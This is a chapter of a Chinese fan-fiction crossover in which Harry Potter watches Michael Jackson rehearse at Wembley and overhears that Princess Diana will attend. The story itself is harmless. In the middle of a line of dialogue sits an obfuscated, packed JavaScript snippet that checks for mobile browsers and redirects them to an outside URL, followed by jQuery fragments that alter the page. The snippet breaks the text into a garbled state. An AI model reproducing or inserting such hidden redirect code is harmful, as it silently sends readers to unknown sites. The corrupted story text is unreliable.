第二天,当哈利被从酒店窗户投进来的阳光照醒时,他几乎是从床上弹起来的。等他条件反射般地下床趿拉拖鞋时,他才反应过来,自己已经不在女贞路了。
他头一次睡到这么晚才起来——墙上的时钟已经指到十点了。
没有佩妮姨妈尖叫着猛拍他的门,没有弗农姨父的咆哮……这感觉实在美妙不已。
当哈利换好衣服,不太熟练地用酒店房间里的东西洗漱好,准备出门时,看见房间门前的地板上静静躺着一张字条。上面的字母有些连在一起,却不显得凌乱,看起来很漂亮:
【我早上来敲过门,但是没有人开,我猜你应该还没有醒。
如果你醒了,问问这里的其他人,找到比尔。你可以来看我们的排练,也可以干其他任何你想做的事情。
如果要离开酒店,一定记得让比尔陪着你,注意安全。
——埃凡德】
这还用想吗——当然是去看排练了!
哈利无比珍惜能够和好朋友在一起的时光。
…………
比尔带着哈利来到温布利时,时间已经临近11点了。
哈利是第一次见到这样的排场:比尔带着他从球员通道进场,中途还被保安好几次要求确认访客身份。
好在,大多数工作人员都认识比尔,基本上看到比尔的脸就放他们通行了。只是偶尔有人好奇地盯着哈利,让哈利有些不太自在。
还没出通道,哈利就听见了熟悉的、空旷的、带着一点点回响的声音:
“I wanna rock with you (all night),
我要和你彻夜舞动著身躯 ,
dance you into day (sunlight).
和你一直跳舞到天明 。”
轻快的鼓点带动着哈利不自觉晃动起身体来。
走出通道的刹那,整片偌大的温布利球场骤然撞入眼帘。
一望无际的绿色草坪平整得没有一丝褶皱,巨型金属舞台架矗立在场地中央,数十盏舞台灯错落悬挂,电线规整排布延伸向控制台,工作人员穿着统一的工装穿梭往来,低声交流着设备调试、音效校准的细节。
空旷的看台层层叠叠向上蔓延,座椅干净整齐,虽然此时还没有观众入场,却已经让人忍不住遐想几日后座无虚席、人声鼎沸的盛大模样。
哈利站在原地,怔怔地望着舞台中央的人影,连呼吸都放轻了。
迈克尔·杰克逊没有穿着他标志性的夹克或者军服,只是简单的T恤衫和运动裤,但没有任何一个人能将注意力从此刻的他的身上移开。
明明只是最简单朴素的穿搭,比哈利曾经看到的那张照片空白得多,可这丝毫不掩他周身耀眼的气场。
正午柔和的天光铺洒在舞台上,落在他微卷的黑发和挺拔的肩背,伴随着富有力量的歌声,整个人像是自带光晕。
轻快的鼓点持续起伏,迈克尔的脚步踩着节拍轻轻挪动,随性舒展的肢体松弛又优雅,脸上的笑容证明他已全身心地投入其中。哪怕只是彩排的即兴律动,他的舞步也有着独一无二的舞台韵味。
“别傻站在通道口,孩子,来这边。”
比尔的声音在身侧轻轻响起,哈利这才回过神来。他侧身指引着哈利走到舞台侧边的安全区域,避开往来调试设备的工作人员与移动器材。
比尔早已见惯了这幅画面,但看着哈利满眼新奇、目不转睛的模样,还是忍不住轻笑:“精彩绝伦,是吧?”
“是啊,”哈利抬头看着比尔回答,“我从来没有见过这种……这种……”
哈利不知道该怎么去形容,但比尔能够懂得这种感受。
今年7月的伦敦,心情似乎格外不好,阳光少见,还总是下雨,让空气彻底浸透了水分。湿闷的气息层层堆叠,闷堵在胸口,潮气钻进衣料、发丝与每一处角落。
等迈克尔这一曲排练完,埃凡德才从舞台侧面走上来——他与迈克尔正好相反,穿了一身白衬衫,松着领口两颗扣,衣领半敞,衬衫前摆只掖进右侧一角,余下布料自然垂落,风一吹便贴着腰侧轻轻扬起,看上去随性又轻盈。
“给,皮筋,”埃凡德把原本绑在手腕上的皮筋递给迈克尔,“我不喜欢伦敦的天气。这里太潮湿了,感觉喘不过气来。”
彩排了一上午,哪怕动作没有演唱会那么大,迈克尔也有些流汗。他用皮筋在脑袋后面绑了个低马尾,如释重负地吐出一口气。
“我爱这里的天气,”迈克尔笑得还挺开心的,“比美国好多了,阳光没有那么刺眼,光线很柔和……”
埃凡德抬头看了一眼云翳蔽空的天穹,最终保持了沉默——或许阴天也好,这样迈克尔就不用为了白癜风和红斑狼疮而小心翼翼的。
“哦,看那儿——比尔带着哈利来了,”察觉到埃凡德的心思,迈克尔很快转移了话题,不想再让他闷闷不乐,“你要不要去陪陪他?正好上午你的部分都排练完了。”
“好,那我先过去陪哈利,”埃凡德点点头,答应下来,“你也要注意一点,迈克尔——排练的时候别那么全神贯注,这会损坏你的嗓子。”
“好的,好的,我知道了,”迈克尔答应的倒是很快,但末了还是忍不住反驳,“但你知道的,有的时候我确实是情难自禁……”
埃凡德无奈笑着摇了摇头,步履稳健(下雨让地面有点潮湿,他得防止自己摔倒),朝着哈利和比尔走去,顺便扬了扬手和他们打招呼。
“我还以为你会一觉睡到中午呢,哈利,”埃凡德先是揶揄地看了哈利一眼,然后拥抱了一下比尔,“中午好,比尔,这两天辛苦你了。”
“这就是我的工作,小小鬼。”比尔短暂地回抱了一下埃凡德。
音乐声又在身后响起了——是《Human Nature》。
“你听过这首歌吗,哈利?”
埃凡德询问哈利,果不其然得到了否定的回答。
“我只听过《Beat it》,”哈利挠了挠头,“达利——哦,就是我的表哥,他从他的狐朋狗友那里用玩具水枪换了一个随身听。后来他很快就玩儿腻了,我偷偷听过。”
“那你今天可以大饱耳福了,”埃凡德笑着说,“可以一次性听到这么多迈克尔·杰克逊的新歌。你知道媒体们怎么称呼他吗?”
“什么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598242|204369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“King of pop.”
…………
当哈利被比尔和埃凡德带着去吃饭的时候,只感觉自己的脑子里一直在回响《Billie Jean》的旋律——刚才排练到时候,迈克尔的步伐明明是向前进的,可整个人却在倒退!埃凡德告诉他,这种舞步叫做“太空步”,哈利觉得实在是再贴切不过了。
除此之外,哈利还向埃凡德打听了许多问题——尽管这些问题中的大多数都让埃凡德忍不住哈哈大笑。
埃凡德告诉哈利,《Billie Jean》取自迈克尔的真实经历。当他年龄尚小的时候,杰克逊兄弟们经常被狂热的女粉丝骚扰,谎称自己的孩子是他们的骨肉。
“所以,Billie Jean是一个真实存在的人吗?她真的骚扰过迈克尔先生?”
埃凡德都不知道自己究竟该从哪里开始笑——一是哈利真的认为存在Billie Jean这个人,二是哈利居然称呼MJ为“迈克尔先生”。
天呐——大家都管他叫迈克尔、小迈(Mike)、杰克逊先生、MJ,像“迈克尔先生”这种亲不亲疏不疏的称呼,埃凡德还是第一次听到。
埃凡德把这件事情分享给了迈克尔,听完后,迈克尔也忍不住低着头轻笑。他亲自回答了哈利的问题:
“Billie Jean不是指的某一个人,而是一个群体。就像美国总统不是特指罗斯福,还有肯尼迪、华盛顿……”
哈利听言,也忍不住咧了咧嘴——他知道自己闹笑话了,但是迈克尔和埃凡德的笑并不是嘲笑,这让他感到很轻松。
这种轻松一直持续到他在午餐时间听到团队工作成员的讨论:
“……我们在考虑要不要删除《Dirty Diana》,毕竟戴安娜王妃确定要来看迈克尔的演出……”
哈利一时间忘记把嘴里的食物咽下去了——他想,一定是自己听错了。
“先暂时保留这套方案吧,”迈克尔说,“我们应当对戴安娜王妃保持尊重。王室通知我们的是16号,对吧?”
“没错,迈克尔。”
“孩子们已经找齐了吗?”
“暂定是8个,他们今天下午会准时到场。我们希望把《Bad》结尾改成一个更欢乐、更有“儿童友好”氛围的大合唱,但还是要看看实际效果如何……”
听着大人们的讨论,哈利想开口询问埃凡德——这时,他终于发现自己还没把食物咽下去——他囫囵吞枣地咽下食物,差点被呛到。
“我没听错吧,埃凡德?”哈利小声在埃凡德身边耳语,“戴安娜王妃?”
“是啊,戴安娜王妃,”埃凡德脸上没有任何惊讶、兴奋、紧张,或者其他的表情,就好像戴安娜王妃只是一个普通观众,“王室今天上午刚初步确定了日程,这你可要记得不能往外传,哈利。”
——————
本章注释:
1.其实RWY蛮抒情的,但是演唱会版本改编得非常欢快。
2.埃凡德排练时候的那种穿衣服方法在现在挺常见的,但这种穿法是90年代末才有雏形的,流行起来甚至是2013年以后。